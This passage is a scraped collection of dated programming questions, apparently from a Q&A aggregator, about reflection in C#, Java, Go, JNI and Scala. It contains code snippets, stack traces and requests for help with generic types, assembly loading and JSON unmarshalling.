public string SourceFilePath { get; } = Helper.GetCallerFilePath();

What I have tried:

  • Adding this method at runtime does not seem to be an option.
  • Using it in a base class does not seem to work either (it returns the path of the base class).

My guess is that this is somehow feasible, because an exception is able to give you this kind of info (from any given type).


What I really want to do in my particular case is: I have a set of cs files that can be identified via their implemented interface, and I want to know their location in the file structure of the project.

So in this case I don't need to know the file location of any given type, but it would be my preferred approach if that's possible.





jeudi 19 août 2021

How to create an instance of generic type whose constructor requires a delegate function parameter?

I need to use the following generic class and method ParseFrom() in it:

public sealed class MessageParser<T> : MessageParser where T : IMessage<T>
{
    public MessageParser(Func<T> factory); //constructor
    public T ParseFrom(byte[] data);
}

Now, I do not know the type of the parameter for this class at compile time, so I use type reflection and MakeGenericType() method to do that:

//Assuming itemInstance is given as input parameter 
Type typeArgument = itemInstance.GetType();
Type genericClass = typeof(MessageParser<>);
var genericType = genericClass.MakeGenericType(typeArgument);
var instance = Activator.CreateInstance(genericType);

It gives me a runtime error: MessageParser<> does not have a parameterless constructor. But when I try to pass Func<T> factory as a parameter for CreateInstance():

var instance = Activator.CreateInstance(genericType, () => Activator.CreateInstance(typeArgument));

it gives me a compile error: Cannot convert lambda expression to type 'string' because it is not a delegate type. Am I using the wrong syntax for a delegate function here?





Recursively traverse an object instance (that has heavily nested custom objects) using java reflection APIs

I am looking a library or code snippet, that helps me Recursively traverse an object instance (that has heavily nested custom objects) using java reflection APIs.

NOTE :- Im looking for code snippet that traverses an object rather than a class footprint.

Example

Student
{
int age;
String name;
Double weight;
}

Student.class —> This is class footprint

Student stu = Student.builder.age(23).weight(46).build();

stu -> This is object

Now applying reflection on Student.class [class footprint] is different from stu [object instance] So, i am looking for applying reflection and recursively traverse all the nodes of my object instance. While traverse, i want to check what all fields have got null/non-null and accordingly apply some logic on top of it, to full-fill my use case.

TIA.





C# Reflection reference to another class from inside a DLL

I have 2 classes, one is a DLL and the other is a .cs File and i want to call a Method in the .cs File from the DLL.

DLL

namespace SimpleDebugFormatting
{
    public static class DebugLog
    {
        private static Type debugFormat;
        private static Type DebugFormat
        {
            get
            {
                if (debugFormat == null)
                    return debugFormat = Assembly.GetExecutingAssembly().GetTypes().FirstOrDefault(_Type => _Type.Name.Contains("DebugFormat"));

                return debugFormat;
            }
        }

        public static List<string> GetMessages(IEnumerable _Parameters)
        {
            return (List<string>)DebugFormat.GetMethod("ConcatMessages", BindingFlags.Static | BindingFlags.NonPublic).Invoke(DebugFormat, new object[] { _Parameters });
        }
    }
}

.cs File

namespace SimpleDebugFormatting
{
    internal static class DebugFormat
    {
        internal static List<string> ConcatMessages(object[] _Messages) { }
    }
}

When both classes are .cs files it all works fine, but when the "DebugLog"-class is a DLL it can't find the "DebugFormat"-class.

When i try to print all types in the DLL's assembly with
"Assembly.GetExecutingAssembly().GetTypes()",
it only shows these 2:

SimpleDebugFormatting.DebugLog
SimpleDebugFormatting.DebugLog+<>c

Why is that so and how can i get it to work?





mercredi 18 août 2021

JNI C Reflection puzzle

All code below works as expected, except for the indicated line that crashes. I have spent days scratching my head over this code, checking and re-checking the documentation. I would be delighted if someone could point out the no doubt obvious thing I'm missing.

Main.java:

public class Main {
    public static void main(String[] args) {
        Test tst = new Test();
        System.out.println((String)tst.test());
    }
}

Test.java

public class Test {
    static { System.loadLibrary("test"); }
    public native Object test();
}

test.c

#include <jni.h>
JNIEXPORT jobject JNICALL Java_Test_test(JNIEnv *env, jobject thiz) {
    const char* out = "success";
    do {
        jclass cls_cls = (*env)->FindClass(env, "java/lang/Class");
        if ( !cls_cls ) { out = "FindClass"; break; }
        jmethodID mfn = (*env)->GetStaticMethodID(
            env, cls_cls, "forName", "(Ljava/lang/String;)Ljava/lang/Class;"
        );
        if ( !mfn ) { out = "GetStaticMethodID"; break; }
        // **** lines above succeed, line below segfaults ****
        jclass cls = (jclass) (*env)->CallStaticObjectMethod(
            env, cls_cls, mfn, "java.lang.String"
        );
        if ( (*env)->ExceptionCheck(env) ) { out = "CallStaticObjectMethod"; break; }
    } while ( 0 );
    (*env)->ExceptionClear(env);
    return (jobject) (*env)->NewStringUTF(env, out);
}

compile/exec

gcc -D_REENTRANT -fPIC -Wall -c test.c -o test.o -I${JAVA_HOME}/include -I${JAVA_HOME}/include/linux
gcc -D_REENTRANT -fPIC -Wall -shared -o libtest.so -O test.o
javac -Xlint:all Main.java
java -Xcheck:jni -Djava.library.path=. Main

Expected outcome, expressed in pure Java:

Class<?> cls_cls = Class.class;
Method mfn = cls_cls.getDeclaredMethod("forName", String.class);
Class<?> cls = (Class) mfn.invoke(null, "java.lang.String");




Given a class, find out if it has been annotated with any annotation, yes or no

My tutor has given me this task to write a Boolean method that checks whether a class has been annotated at all. Don't want to bother you guys with further details, but it was actually a package, so at first I used the Google reflections library to collect all classes from my project. Unfortunately, this library, along with others doesn't answer my question, they all require me to provide annotation class, which I yet to find out with my method I am struggling with.

Edit: this is a Spring project





Unmarshal method for complex object with go reflections

I'm starting to writing more complex go code, and my object node it to convert a list from a JSON object to a map with a particular key. This operation helps me to speed up my algorithm. But I have a problem now, my container struct has several complex JSON and I'm not able to write a generic solution to achieve a generic solution. The only way that I have in mind is to use a big switch case, but I think this is not the right solution.

This is my code at the moment, where the statusChannel is a map in the code but it is a list in the JSON string

type MetricOne struct {
    // Internal id to identify the metric
    id int `json:"-"`
    // Version of metrics format, it is used to migrate the
    // JSON payload from previous version of plugin.
    Version int `json:"version"`
    // Name of the metrics
    Name   string  `json:"metric_name"`
    NodeId string  `json:"node_id"`
    Color  string  `json:"color"`
    OSInfo *osInfo `json:"os_info"`
    // timezone where the node is located
    Timezone string `json:"timezone"`
    // array of the up_time
    UpTime []*status `json:"up_time"`
    // map of informatonof channel information
    ChannelsInfo map[string]*statusChannel `json:"channels_info"`
}

func (instance *MetricOne) MarshalJSON() ([]byte, error) {
    jsonMap := make(map[string]interface{})
    reflectType := reflect.TypeOf(*instance)
    reflectValue := reflect.ValueOf(*instance)
    nFiled := reflectValue.Type().NumField()

    for i := 0; i < nFiled; i++ {
        key := reflectType.Field(i)
        valueFiled := reflectValue.Field(i)
        jsonName := key.Tag.Get("json")
        switch jsonName {
        case "-":
            // skip
            continue
        case "channels_info":
            // TODO convert the map[string]*statusChannel in a list of statusChannel
            statusChannels := make([]*statusChannel, 0)
            for _, value := range valueFiled.Interface().(map[string]*statusChannel) {
                statusChannels = append(statusChannels, value)
            }
            jsonMap[jsonName] = statusChannels
        default:
            jsonMap[jsonName] = valueFiled.Interface()
        }
    }

    return json.Marshal(jsonMap)
}

func (instance *MetricOne) UnmarshalJSON(data []byte) error {
    var jsonMap map[string]interface{}
    err := json.Unmarshal(data, &jsonMap)
    if err != nil {
        log.GetInstance().Error(fmt.Sprintf("Error: %s", err))
        return err
    }
    instance.Migrate(jsonMap)
    reflectValue := reflect.ValueOf(instance)
    reflectStruct := reflectValue.Elem()
    // reflectType := reflectValue.Type()
    for key, value := range jsonMap {
        fieldName, err := utils.GetFieldName(key, "json", *instance)
        if err != nil {
            log.GetInstance().Info(fmt.Sprintf("Error: %s", err))
            if strings.Contains(key, "dev_") {
                log.GetInstance().Info("dev propriety skipped if missed")
                continue
            }
            return err
        }
        field := reflectStruct.FieldByName(*fieldName)
        fieldType := field.Type()
        filedValue := field.Interface()
        val := reflect.ValueOf(filedValue)

        switch key {
        case "channels_info":
            statusChannelsMap := make(map[string]*statusChannel)
            toArray := value.([]interface{})
            for _, status := range toArray {
                var statusType statusChannel
                jsonVal, err := json.Marshal(status)
                if err != nil {
                    return err
                }
                err = json.Unmarshal(jsonVal, &statusType)
                if err != nil {
                    return err
                }
                statusChannelsMap[statusType.ChannelId] = &statusType
            }
            field.Set(reflect.ValueOf(statusChannelsMap))
        default:
            field.Set(val.Convert(fieldType))
        }
    }
    return nil
}

And when I will decode the object I receive the following error:

➜  go-metrics-reported git:(dev) ✗ make check
go test -v ./...
?       github.com/OpenLNMetrics/go-metrics-reported/cmd/go-metrics-reported    [no test files]
?       github.com/OpenLNMetrics/go-metrics-reported/init/persistence   [no test files]
=== RUN   TestJSONSerializzation
--- PASS: TestJSONSerializzation (0.00s)
=== RUN   TestJSONDeserializzation
--- FAIL: TestJSONDeserializzation (0.00s)
panic: reflect.Value.Convert: value of type map[string]interface {} cannot be converted to type *plugin.osInfo [recovered]
    panic: reflect.Value.Convert: value of type map[string]interface {} cannot be converted to type *plugin.osInfo

goroutine 7 [running]:
testing.tRunner.func1.1(0x61b440, 0xc0001d69a0)
    /home/vincent/.gosdk/go/src/testing/testing.go:1072 +0x30d
testing.tRunner.func1(0xc000001e00)
    /home/vincent/.gosdk/go/src/testing/testing.go:1075 +0x41a
panic(0x61b440, 0xc0001d69a0)
    /home/vincent/.gosdk/go/src/runtime/panic.go:969 +0x1b9
reflect.Value.Convert(0x6283e0, 0xc0001bb1a0, 0x15, 0x6b93a0, 0x610dc0, 0x610dc0, 0xc00014cb40, 0x196)
    /home/vincent/.gosdk/go/src/reflect/value.go:2447 +0x229
github.com/OpenLNMetrics/go-metrics-reported/internal/plugin.(*MetricOne).UnmarshalJSON(0xc00014cb00, 0xc0001d8000, 0x493, 0x500, 0x7f04d01453d8, 0xc00014cb00)
    /home/vincent/Github/OpenLNMetrics/go-metrics-reported/internal/plugin/metrics_one.go:204 +0x5b3
encoding/json.(*decodeState).object(0xc00010be40, 0x657160, 0xc00014cb00, 0x16, 0xc00010be68, 0x7b)
    /home/vincent/.gosdk/go/src/encoding/json/decode.go:609 +0x207c
encoding/json.(*decodeState).value(0xc00010be40, 0x657160, 0xc00014cb00, 0x16, 0xc000034698, 0x54ec19)
    /home/vincent/.gosdk/go/src/encoding/json/decode.go:370 +0x6d
encoding/json.(*decodeState).unmarshal(0xc00010be40, 0x657160, 0xc00014cb00, 0xc00010be68, 0x0)
    /home/vincent/.gosdk/go/src/encoding/json/decode.go:180 +0x1ea
encoding/json.Unmarshal(0xc0001d8000, 0x493, 0x500, 0x657160, 0xc00014cb00, 0x500, 0x48cba6)
    /home/vincent/.gosdk/go/src/encoding/json/decode.go:107 +0x112
github.com/OpenLNMetrics/go-metrics-reported/internal/plugin.TestJSONDeserializzation(0xc000001e00)
    /home/vincent/Github/OpenLNMetrics/go-metrics-reported/internal/plugin/metric_one_test.go:87 +0x95
testing.tRunner(0xc000001e00, 0x681000)
    /home/vincent/.gosdk/go/src/testing/testing.go:1123 +0xef
created by testing.(*T).Run
    /home/vincent/.gosdk/go/src/testing/testing.go:1168 +0x2b3
FAIL    github.com/OpenLNMetrics/go-metrics-reported/internal/plugin    0.008s
?       github.com/OpenLNMetrics/go-metrics-reported/pkg/db [no test files]
?       github.com/OpenLNMetrics/go-metrics-reported/pkg/graphql    [no test files]
?       github.com/OpenLNMetrics/go-metrics-reported/pkg/log    [no test files]
?       github.com/OpenLNMetrics/go-metrics-reported/pkg/utils  [no test files]
FAIL
make: *** [Makefile:15: check] Error 1

can someone explain how I can do this operation in a generic way?





How to get class members without having access to Class type

I have a class (Plug_Comment) with properties which is passed as a member of another class (m_Descriptor) enter image description here

I can also get the type

enter image description here

enter image description here

Inside I can see the property I need (useless) which is a double

enter image description here

but I can't get to it for the type Plug_Comment is not known here so I can't cast it.

-----EDIT---- I will try to explain that again. Sorry for not having made it clear.





Get constructor for method local-class by reflection in JUnit4 test

I need Constructor<TestClass> instance for local class TestClass in my JUnit4 test method.

public void testMethod() throws NoSuchMethodException {
    class TestClass {
    }
    
    Constructor<TestClass> constructor = TestClass.class.getDeclaredConstructor();

    // dos sth in test
}

When I'm trying get constructor using getDeclaredConstructor() I'm getting the error NoSuchMethodException().

I tried to run the same sideways logic in my IDE scratch and the constructor is found. The difference is that there TestClass is declared in the STATIC method.

My question is why this problem occurs and how does it relate to the static / non-static method, and how can I get around this problem in my test method.





mardi 17 août 2021

C#, FieldSetter, FieldGetter, GetFieldInfo methods in Object class

What is the purpose of these methods: Object.FieldSetter, Object.FieldGetter, Object.GetFieldInfo? Why are they located in the Object class and not in some reflection .net api? Couldn't find it in google or stackoverflow. Seems like nobody ever got interested in them. Also couldn't find usages of these methods. So they seem to be useless, but might be invoked using reflection. I'm just interested if anyone knows.

    private void FieldSetter(string typeName, string fieldName, object val)
    {
      FieldInfo fieldInfo = this.GetFieldInfo(typeName, fieldName);
      if (fieldInfo.IsInitOnly)
        throw new FieldAccessException(Environment.GetResourceString("FieldAccess_InitOnly"));
      Message.CoerceArg(val, fieldInfo.FieldType);
      fieldInfo.SetValue(this, val);
    }

    private void FieldGetter(string typeName, string fieldName, ref object val)
    {
      FieldInfo fieldInfo = this.GetFieldInfo(typeName, fieldName);
      val = fieldInfo.GetValue(this);
    }

    private FieldInfo GetFieldInfo(string typeName, string fieldName)
    {
      Type type = this.GetType();
      while ((Type) null != type && !type.FullName.Equals(typeName))
        type = type.BaseType;
      FieldInfo fieldInfo = !((Type) null == type) ? type.GetField(fieldName, BindingFlags.IgnoreCase | BindingFlags.Instance | BindingFlags.Public) : throw new RemotingException(string.Format((IFormatProvider) CultureInfo.CurrentCulture, Environment.GetResourceString("Remoting_BadType"), (object) typeName));
      return !((FieldInfo) null == fieldInfo) ? fieldInfo : throw new RemotingException(string.Format((IFormatProvider) CultureInfo.CurrentCulture, Environment.GetResourceString("Remoting_BadField"), (object) fieldName, (object) typeName));
    }




Java Error with Java16 : java.lang.reflect.InaccessibleObjectException

Existing code is working perfectly fine with JDK11 installed. Same lines of code is throwing below error in JDK16

java.lang.reflect.InaccessibleObjectException: Unable to make private static native long[] java.util.prefs.WindowsPreferences.WindowsRegOpenKey(long,byte[],int) accessible: module java.prefs does not "opens java.util.prefs" to unnamed module @3f803fae
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:357)
    at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
    at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
    at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)

When code is migrated from Java8 to Java9, WinRegistry.java file is modified with some of the methods' input parameter(s) type from int to long





Return the path to calling assembly from referenced one

I'm developing plugin based application using MEF2 - System.Composition.

I have library named Core.dll. It contains interfaces, classes and extensions for communication between shell and plugins. Library is targeting .NET Standard,

My plugin Plugin1.dll referenced to Core.dll

Plugins are hosted in Shell.exe (plugins are dicovered by below attribute)

My plugin class is marked with attribute PluginDescription and is located in assembly file Plugin1.dll

    [PluginDescription(
        "Sample plugin",
        "pack://application:,,,/PluginSample;component/plug.png", 
        "test", 
        "test", 
        "test")]
    public class Sample : IPlugin
    {
    }

PluginDescription class looks like this and is located in assembly file Core.dll

    [MetadataAttribute]
    [AttributeUsage(AttributeTargets.Class, AllowMultiple = false)]
    public sealed class PluginDescriptionAttribute : ExportAttribute, IPluginDescription
    {
        /// <summary>
        /// 
        /// </summary>
        /// <param name="label"></param>
        /// <param name="version"></param>
        /// <param name="author"></param>
        /// <param name="description"></param>
        public PluginDescriptionAttribute(string label, string icon, string version, string author, string description)
            : base(typeof(IPlugin))
        {
            Label = label;
            Icon = icon;
            Version = version;
            Author = author;
            Description = description;
    }

I want to call in constructor class PluginDescriptionAttribute code that will return path to assembly file (Plugin1.dll) that call this constructor.

I tried, but its seeme never return location of Plugin1.dll

StackFrame[] frames = new StackTrace().GetFrames();

is it possible?





samedi 14 août 2021

Java: Get ParameterizedType from PropertyDescriptor

Problem

I am working on a project where I have to deal a lot with reflections and the performance needs to be improved. This method is called very often and this part seems inefficient to me as I need to get the Field by another reflection, which I only need to compare the type parameters of two Objects (I don't know how inefficient it really is tbh). Because I want List.class != List.

Even finding out whether a Class has type parameter without having to do crazy reflections should be enough.

Current code for getting the type parameters

protected boolean translate(S source, T target) {
    try {
            ParameterizedType paramType = (ParameterizedType) source.getClass()
                 .getDeclaredField(propertyDescriptor.getName()).getGenericType();
            Type[] clazzes = paramType.getActualTypeArguments();
            System.out.println(clazzes);
    } catch (NoSuchFieldException | ClassCastException e) {

    }

    ...
}

For reference this code takes about 0-1ms. However it is called for almost every field of a class.





vendredi 13 août 2021

In C#, how can I add instances of FluentValidation using reflection?

Currently, I’m adding validators in the Startup.cs like:

public void ConfigureContainer(ContainerBuilder builder)
        {
            Register<Signer, SignerValidator>(builder);
            Register<ContractBase, ContractBaseValidator>(builder);
            Register<ContractGridop, ContractGridopValidator>(builder);
            Register<ContractSepa, ContractSepaValidator>(builder);
            Register<ContractVollmacht, ContractVollmachtValidator>(builder);
        }

        private static void Register<TType, TValidator>(
                ContainerBuilder builder
            ) =>
             builder.RegisterType<TValidator>()
                    .As<IValidator<TType>>()
                    .SingleInstance();

It occurs to me:

  1. It should not be necessary to pass both TType and TValidator because every instance of TValidator is defined in terms of TType.

  2. Doing it this way is not only redundant but dangerous because there is no guarantee that TType will correctly correspond to TValidator.

  3. There should be a way for the system to automatically discover what validators exist and then automatically add them (similar to how the API controllers are being added).

How can I do this?





Cast generic list gathered by relection for subscribing event

I don't know whether I'm using the correct terms for my problems, so hopefully it's understandable what I need help for.

Currently I have:

public class MyCollection<T, U> : ObservableCollection<T>, IParented<U> {..}

public class MyInitClass()
{
    var bindingFlags = BindingFlags.Instance | BindingFlags.Public |     BindingFlags.NonPublic;
    var fieldValues = obj.GetType().GetFields(bindingFlags).Where(x => x.FieldType.Name.StartsWith("MyCollection"));

    foreach (FieldInfo fieldInfo in fieldValues)
    {
        var list = fieldInfo.GetValue(obj);

        if (list is MyCollection<MyClassA> classA)
            classA.CollectionChanged += Abstract_CollectionChanged;
        else if (list is MyCollection<MyClassB> classB)
            classB.CollectionChanged += CollectionChanged;
        else if (list is MyCollection<MyClassC> classC)
            classC.CollectionChanged += CollectionChanged;
        ...
    }
}

This works fine, the problem is that I have dozens of classes and classes are added and removed constantly, thus this if else is annoying and hopefully there is a better way. I only want to subscribe the CollectionChanged event, the actual values doesn't bother me here.

dynamic list = fieldInfo.GetValue(obj);
list.CollectionChanged += Abstract_CollectionChanged;

does not work, as events cannot be subscribed when dynamic is used.

So is there a way to subscribe to the event without performing this endless if-else?

Thanks in advance!





ReflectionTypeLoadException when load Roslyn generated assemblies

I use the following code to generate assemblys and copy all reference DLLs to the destination folder.

public HashSet<string> CompileToDll(string outputDir )
{
    var projectGraph = _sln.GetProjectDependencyGraph();
    var entries = new HashSet<string>();
    foreach (var projectID in projectGraph.GetTopologicallySortedProjects())
    {
        Compilation? projCompilation = _sln?.GetProject(projectID)?.GetCompilationAsync()?.Result;
        if (projCompilation is not null && !string.IsNullOrEmpty(projCompilation.AssemblyName))
        {
            using (var stream = new MemoryStream())
            {
                var result = projCompilation.Emit(stream);
                if (result.Success)
                {
                    string filename = $"{projCompilation.AssemblyName}.dll";
                    entries.Add(filename);
                    using (var file = File.Create($"{outputDir}\\{filename}"))
                    {
                        stream.Seek(0, SeekOrigin.Begin);
                        stream.CopyTo(file);
                    }

                    var asm = Assembly.LoadFrom($"{outputDir}\\{filename}");
                    var refs = asm.GetReferencedAssemblies();
                    CopyAllReferencesToOutput(projCompilation.References, outputDir);
                }
            }
        }
    }
    return entries;
}

Then I want to use reflection to load the DLLs to do some analysis. But when I use the following code to load assembly and get DefinedTypes, an exception was thrown.

foreach (var path in dllPaths)
{
    if (!entries.Contains(Path.GetFileName(path)))
        continue;
    var asm = Assembly.LoadFrom(path);
    var asmDefinitions = asm.DefinedTypes;
    // ...
}
Unhandled exception. System.Reflection.ReflectionTypeLoadException: Unable to load one or more of the requested types.
Could not load file or assembly 'Microsoft.AspNetCore.Mvc.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
Could not load file or assembly 'Microsoft.AspNetCore.Mvc.ViewFeatures, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
Could not load file or assembly 'Microsoft.AspNetCore.Http.Abstractions, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
   at System.Reflection.RuntimeModule.GetTypes(RuntimeModule module)
   at System.Reflection.RuntimeAssembly.get_DefinedTypes()
   at DeserializationChecker.Program.PostProcessReflections(HashSet`1 entries, String input) in C:\workspace\DeserializationChecker\DeserializationChecker\Program.cs:line 43
   at DeserializationChecker.Program.Main(String[] args) in C:\workspace\DeserializationChecker\DeserializationChecker\Program.cs:line 29
System.BadImageFormatException: Could not load file or assembly 'Microsoft.AspNetCore.Mvc.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
File name: 'Microsoft.AspNetCore.Mvc.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60' ---> System.BadImageFormatException: Could not load file or assembly 'Microsoft.AspNetCore.Mvc.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
File name: 'Microsoft.AspNetCore.Mvc.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60' ---> System.BadImageFormatException: Cannot load a reference assembly for execution.
   at System.Runtime.Loader.AssemblyLoadContext.LoadFromPath(IntPtr ptrNativeAssemblyLoadContext, String ilPath, String niPath, ObjectHandleOnStack retAssembly)
   at System.Runtime.Loader.AssemblyLoadContext.LoadFromAssemblyPath(String assemblyPath)
   at System.Reflection.Assembly.LoadFrom(String assemblyFile)
   at System.Reflection.Assembly.LoadFromResolveHandler(Object sender, ResolveEventArgs args)
   at System.Runtime.Loader.AssemblyLoadContext.InvokeResolveEvent(ResolveEventHandler eventHandler, RuntimeAssembly assembly, String name)
   at System.Runtime.Loader.AssemblyLoadContext.OnAssemblyResolve(RuntimeAssembly assembly, String assemblyFullName)
System.BadImageFormatException: Could not load file or assembly 'Microsoft.AspNetCore.Mvc.ViewFeatures, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
File name: 'Microsoft.AspNetCore.Mvc.ViewFeatures, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60' ---> System.BadImageFormatException: Could not load file or assembly 'Microsoft.AspNetCore.Mvc.ViewFeatures, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
File name: 'Microsoft.AspNetCore.Mvc.ViewFeatures, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60' ---> System.BadImageFormatException: Cannot load a reference assembly for execution.
   at System.Runtime.Loader.AssemblyLoadContext.LoadFromPath(IntPtr ptrNativeAssemblyLoadContext, String ilPath, String niPath, ObjectHandleOnStack retAssembly)
   at System.Runtime.Loader.AssemblyLoadContext.LoadFromAssemblyPath(String assemblyPath)
   at System.Reflection.Assembly.LoadFrom(String assemblyFile)
   at System.Reflection.Assembly.LoadFromResolveHandler(Object sender, ResolveEventArgs args)
   at System.Runtime.Loader.AssemblyLoadContext.InvokeResolveEvent(ResolveEventHandler eventHandler, RuntimeAssembly assembly, String name)
   at System.Runtime.Loader.AssemblyLoadContext.OnAssemblyResolve(RuntimeAssembly assembly, String assemblyFullName)
System.BadImageFormatException: Could not load file or assembly 'Microsoft.AspNetCore.Http.Abstractions, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
File name: 'Microsoft.AspNetCore.Http.Abstractions, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60' ---> System.BadImageFormatException: Could not load file or assembly 'Microsoft.AspNetCore.Http.Abstractions, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60'. Reference assemblies should not be loaded for execution.  They can only be loaded in the Reflection-only loader context. (0x80131058)
File name: 'Microsoft.AspNetCore.Http.Abstractions, Version=5.0.0.0, Culture=neutral, PublicKeyToken=adb9793829ddae60' ---> System.BadImageFormatException: Cannot load a reference assembly for execution.
   at System.Runtime.Loader.AssemblyLoadContext.LoadFromPath(IntPtr ptrNativeAssemblyLoadContext, String ilPath, String niPath, ObjectHandleOnStack retAssembly)
   at System.Runtime.Loader.AssemblyLoadContext.LoadFromAssemblyPath(String assemblyPath)
   at System.Reflection.Assembly.LoadFrom(String assemblyFile)
   at System.Reflection.Assembly.LoadFromResolveHandler(Object sender, ResolveEventArgs args)
   at System.Runtime.Loader.AssemblyLoadContext.InvokeResolveEvent(ResolveEventHandler eventHandler, RuntimeAssembly assembly, String name)
   at System.Runtime.Loader.AssemblyLoadContext.OnAssemblyResolve(RuntimeAssembly assembly, String assemblyFullName)

But the DLL is actually in the target folder...





jeudi 12 août 2021

Is it possible to access type information in a custom MSBuild taks?

Background for question: I Have recently been building a Roslyn source generator, which added additional source code to a compilation based on the types and type members in the project. I have found that the continual execution of source generator and associated code analysis consume too many resources. I am, therefore, looking to build a custom MSBuild task to handle the code analysis and source generation. This is an option because the generated source code will only be used after compilation.

The actual question: Is it possible to access the source trees and semantic information in a custom MSBuild task? Like it is a Roslyn source generator. Would this require a second compilation of the source code inside the custom MSBuild task? Or does the C# compiler expose such information to the tasks somehow?





scala get generic type by class

Is it possible pass generic parameter using class:

  def m(clazz: Class[_]): Unit = {
    m2[] //here I want to exact type (that I should have because I have Class)
  }

  def m2[C: ClassTag]() : List[C] = {
    println("hi")
    List.empty
  }

Any Ideas?





How to perform testing on Java Reflective API based code?

I'm trying to write a unit test case for a method that makes use of Java's Reflective API to get things done. Following is a small code snippet based on my original code:

public void executeReflectively () {
    SomeClass object = new SomeClass();
    Class className = object.getClass();
    String methodName = fetchMethodName ();

    try {
        Method method = className.getDeclaredMethod(methodName, null);
        method.setAccessible(true)   
        method.invoke(object, null);
    } catch (SomeException e) {
         // Do something with the exception
    }

}

Now, I'm not sure how to proceed ahead with the Unit testing of the above method. I've prepared tests for the methods defined in SomeClass. As far as I can see, since the above method is simply invoking methods from a class for which tests are already written, therefore it doesn't make sense to test it. But then, since I'm performing unit testing, therefore I'm bound to test this code. So, in that case:

  1. Should I even bother to write a unit test case for executeReflectively() ? Please do state your reasoning(and sources of info.) for your answer.
  2. If I'm writing the test cases, then should I also write tests for checking exceptions (especially, NoSuchMethodException, IllegalAccessException, IllegalArgumentException ) for the above method?




mercredi 11 août 2021

Converting reflect.Type back to reflect.Value

Is it possible to convert an instance of reflect.Type to a reflect.Value? Assuming I don't have access to the actual variable, only to an instance of a type that implements reflect.Type, for example:

package main

func main() {
  t := reflect.TypeOf(main)
  v := /* convert to reflect.Value */
}

The example above is not the real situation. I can't simple call reflect.ValueOf(main) - I only have access to t. I tried playing around with the methods of t, but nothing really worked, unfortunately.

Thank you!





Converting Dictionary

I want to assign values ​​to properties in my own class with automapper from the list I have. But it gives an error while giving value to reference type in clash.

json data; {recid: 182, MyBirim: {id: 37, text: "TUZLA"}, LokasyonAdi: "aaaaa", LokasyonAdresi: "bbbb"}

my database tables;

enter image description here

    public MyInternetHatlari Convert(IDictionary<string, object> source,
        MyInternetHatlari destination,
        ResolutionContext context)
    {
        if (destination is null)
        {
            destination = new MyInternetHatlari()
            {
                İl = "ISTANBUL",
                CreatedDateTime = DateTime.Now,
                UserId = _httpContext.User.Identity.GetUserId()
            };
        }

        Type type = destination.GetType();

        IEnumerable<KeyValuePair<string, object>> keyValuePairs =
            source.Where(x => x.Key != "recid" && !x.Key.EndsWith("Id"));

        foreach (var (key, value) in keyValuePairs)
        {
            var propertyInfo = type.GetProperty(key);

            if (propertyInfo is null) continue;

            if (propertyInfo.PropertyType.Namespace is not null &&
                propertyInfo.PropertyType.Namespace.StartsWith("System"))
            {
                Type t = Nullable.GetUnderlyingType(propertyInfo.PropertyType) ?? propertyInfo.PropertyType;

                object safeValue = System.Convert.ChangeType(value, t);

                propertyInfo.SetValue(destination, safeValue, null);
            }
            else
            {
                var job = JObject.Parse(value.ToString()).ToObject<SortedDictionary<string, object>>();

                #region valuetype

                var propinfo = type.GetProperty(key + "Id");

                if (propinfo is not null)
                {
                    Type t = Nullable.GetUnderlyingType(propinfo.PropertyType) ?? propinfo.PropertyType;

                    object safeValue = System.Convert.ChangeType(job["id"], t);

                    propinfo.SetValue(destination, safeValue, null);
                }

                #endregion

                #region referancetype

                Type proptype = propertyInfo.PropertyType;

                if (proptype is null) continue;

                DataTable dataTable = _db.DataTable("SELECT TOP (1) * from " + key + " where Id=" + job["id"]);

                for (int i = 0; i < dataTable.Rows.Count; i++)
                {
                    foreach (PropertyInfo pi in proptype.GetProperties().Where(p => p.PropertyType.IsSerializable))
                    {
                        object row = dataTable.Rows[i][pi.Name];

                        Type tt = Nullable.GetUnderlyingType(pi.PropertyType) ?? pi.PropertyType;

                        object sv = System.Convert.ChangeType(row, tt);

                        //error TargetException: Object does not match target type.
                        pi.SetValue(proptype, sv, null);
                    }
                }

                propertyInfo.SetValue(destination, proptype, null);

                #endregion
            }
        }

        return destination;
    }

"TargetException: Object does not match target type" on this line. Gives a fault. pi.SetValue(proptype, sv, null);

I get this error when I try to change the values ​​of the relational table. I tried using Activator.CreateInstance to my relational class instead, it works but I can't "attach" with ef core.





how to check if top level class

Having object of Class type how to check if it's top level class / regular object class? Context: I'm converting object metadata to json structure and currently my code looks like

JsonElement toJson(Type type) {
  if (type == String.class) {
    ...
  } else if (...) { //more primitives
    ...
